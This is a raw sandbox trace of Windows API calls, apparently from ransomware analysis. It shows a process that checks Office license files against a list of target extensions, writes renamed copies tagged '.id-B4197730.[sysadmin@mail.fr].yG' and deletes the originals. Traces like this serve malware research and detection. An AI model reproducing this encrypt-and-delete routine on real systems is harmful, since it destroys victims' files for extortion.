	[0172.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.584] lstrlenW (lpString=".dbf") returned 4
	[0172.584] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.584] lstrlenW (lpString=".1cd") returned 4
	[0172.584] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.584] lstrlenW (lpString=".jpg") returned 4
	[0172.584] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.585] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11175) returned 1
	[0172.585] CloseHandle (hObject=0x564) returned 1
	[0172.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220
	[0172.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.586] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.586] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0172.601] GetLastError () returned 0x0
	[0172.601] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0172.649] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0172.651] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.651] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x112, lpOverlapped=0x0) returned 1
	[0172.651] SetEndOfFile (hFile=0x568) returned 1
	[0172.651] CloseHandle (hObject=0x568) returned 1
	[0172.651] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.651] SetEndOfFile (hFile=0x564) returned 1
	[0172.654] CloseHandle (hObject=0x564) returned 1
	[0172.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1
	[0172.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0172.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0172.656] lstrlenW (lpString=".doc") returned 4
	[0172.656] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.656] lstrlenW (lpString=".docx") returned 5
	[0172.656] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.656] lstrlenW (lpString=".pdf") returned 4
	[0172.656] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.656] lstrlenW (lpString=".xls") returned 4
	[0172.656] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.656] lstrlenW (lpString=".xlsx") returned 5
	[0172.656] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.656] lstrlenW (lpString=".ppt") returned 4
	[0172.656] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0172.656] lstrlenW (lpString=".zip") returned 4
	[0172.656] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.656] lstrlenW (lpString=".rar") returned 4
	[0172.657] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.657] lstrlenW (lpString=".bz2") returned 4
	[0172.657] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.657] lstrlenW (lpString=".7z") returned 3
	[0172.657] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0172.657] lstrlenW (lpString=".dbf") returned 4
	[0172.657] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0172.657] lstrlenW (lpString=".1cd") returned 4
	[0172.657] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0172.657] lstrlenW (lpString=".jpg") returned 4
	[0172.657] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.658] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=22466) returned 1
	[0172.658] CloseHandle (hObject=0x564) returned 1
	[0172.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220
	[0172.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.659] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.659] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0172.661] GetLastError () returned 0x0
	[0172.661] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x57c2, lpOverlapped=0x0) returned 1
	[0172.666] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0172.668] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.668] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0172.668] SetEndOfFile (hFile=0x568) returned 1
	[0172.742] CloseHandle (hObject=0x568) returned 1
	[0172.742] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.742] SetEndOfFile (hFile=0x564) returned 1
	[0172.746] CloseHandle (hObject=0x564) returned 1
	[0172.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1
	[0172.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0172.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0172.748] lstrlenW (lpString=".doc") returned 4
	[0172.748] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.748] lstrlenW (lpString=".docx") returned 5
	[0172.748] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.748] lstrlenW (lpString=".pdf") returned 4
	[0172.748] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.748] lstrlenW (lpString=".xls") returned 4
	[0172.748] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.748] lstrlenW (lpString=".xlsx") returned 5
	[0172.748] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.748] lstrlenW (lpString=".ppt") returned 4
	[0172.748] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0172.748] lstrlenW (lpString=".zip") returned 4
	[0172.748] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.748] lstrlenW (lpString=".rar") returned 4
	[0172.748] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.748] lstrlenW (lpString=".bz2") returned 4
	[0172.748] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.748] lstrlenW (lpString=".7z") returned 3
	[0172.748] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0172.748] lstrlenW (lpString=".dbf") returned 4
	[0172.749] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0172.749] lstrlenW (lpString=".1cd") returned 4
	[0172.749] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0172.749] lstrlenW (lpString=".jpg") returned 4
	[0172.749] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.749] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11219) returned 1
	[0172.749] CloseHandle (hObject=0x564) returned 1
	[0172.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0172.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.751] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.751] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0172.782] GetLastError () returned 0x0
	[0172.782] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0172.784] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0172.785] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.785] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x128, lpOverlapped=0x0) returned 1
	[0172.785] SetEndOfFile (hFile=0x568) returned 1
	[0172.785] CloseHandle (hObject=0x568) returned 1
	[0172.785] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.786] SetEndOfFile (hFile=0x564) returned 1
	[0172.789] CloseHandle (hObject=0x564) returned 1
	[0172.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0172.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0172.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0172.790] lstrlenW (lpString=".doc") returned 4
	[0172.790] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.790] lstrlenW (lpString=".docx") returned 5
	[0172.791] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.791] lstrlenW (lpString=".pdf") returned 4
	[0172.791] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString=".xls") returned 4
	[0172.791] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString=".xlsx") returned 5
	[0172.791] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.791] lstrlenW (lpString=".ppt") returned 4
	[0172.791] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0172.791] lstrlenW (lpString=".zip") returned 4
	[0172.791] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString=".rar") returned 4
	[0172.791] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString=".bz2") returned 4
	[0172.791] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString=".7z") returned 3
	[0172.791] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0172.791] lstrlenW (lpString=".dbf") returned 4
	[0172.791] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0172.791] lstrlenW (lpString=".1cd") returned 4
	[0172.791] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0172.791] lstrlenW (lpString=".jpg") returned 4
	[0172.791] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.792] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=23068) returned 1
	[0172.792] CloseHandle (hObject=0x564) returned 1
	[0172.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220
	[0172.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.793] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.793] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0172.795] GetLastError () returned 0x0
	[0172.795] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5a1c, lpOverlapped=0x0) returned 1
	[0172.797] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5a20, lpOverlapped=0x0) returned 1
	[0172.799] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.799] WriteFile (in: hFile=0x568, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x110, lpOverlapped=0x0) returned 1
	[0172.799] SetEndOfFile (hFile=0x568) returned 1
	[0172.799] CloseHandle (hObject=0x568) returned 1
	[0172.799] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.799] SetEndOfFile (hFile=0x564) returned 1
	[0172.858] CloseHandle (hObject=0x564) returned 1
	[0172.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1
	[0172.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0172.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0172.861] lstrlenW (lpString=".doc") returned 4
	[0172.861] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString=".docx") returned 5
	[0172.861] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.861] lstrlenW (lpString=".pdf") returned 4
	[0172.861] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString=".xls") returned 4
	[0172.861] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString=".xlsx") returned 5
	[0172.861] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.861] lstrlenW (lpString=".ppt") returned 4
	[0172.861] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0172.861] lstrlenW (lpString=".zip") returned 4
	[0172.861] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString=".rar") returned 4
	[0172.861] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString=".bz2") returned 4
	[0172.861] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString=".7z") returned 3
	[0172.861] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0172.861] lstrlenW (lpString=".dbf") returned 4
	[0172.861] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0172.862] lstrlenW (lpString=".1cd") returned 4
	[0172.862] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80
	[0172.862] lstrlenW (lpString=".jpg") returned 4
	[0172.862] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.862] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11624) returned 1
	[0172.862] CloseHandle (hObject=0x564) returned 1
	[0172.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220
	[0172.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
